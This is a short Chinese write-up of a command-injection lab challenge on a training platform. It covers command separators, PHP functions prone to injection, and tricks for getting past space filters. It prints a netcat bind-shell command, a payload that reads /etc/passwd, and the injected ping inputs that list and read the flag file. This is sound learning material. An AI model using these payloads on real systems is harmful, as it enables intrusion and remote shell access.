题目地址
https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe
资料
http://poetichacker.com/writeup/由iscc2018-web-ping学习命令注入.html
姿势
-
命令连接符
command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1 - ”<” 表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。”| ”则表示一个管道的意思,可以理解为东西从管道的一边流向另外一边。
- 检测一阶命令注入的最佳方式是尝试执行一个sleep命令
- 在外部可以访问的端口上生成一个shell(仅适用于自定义netcat构建):nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。
- 如果想要知道目标主机名的长度,我们可以将主机名的输出通过管道符传递给wc -c命令。
-
常见php命令注入函数:
eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array, array_map(),反引号,ob_start(),exec(),shell_exec(), passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()
命令注入中有讲究的字符
'$'
';'
'|'
'-'
'('
')'
'反引号'
'||'
————以上是上题过滤的。
以下是查到的其他的:'&&'
'&'
'}'
'{'
绕过
防护措施中使用最多的就是对于payload中空格的限制。
OS命令注入中的空格:
花括号扩展:
- bash
空格可以替换为%20、%09(tab)、%2b(+) in url、{IFS} - Win shell
空格可以替换为%20、%09(tab)、%0b、%0c、%2b(+) in url - 如:
;{cat,/etc/passwd}'
解法
几个命令: ls ,cat< ,cat
由于此题是前端ip格式显示,burp抓包后该数据为127.0.0.1|ls可以查看key文件名称。
然后127.0.0.1|cat<key_1257293387526.php可以查看内容。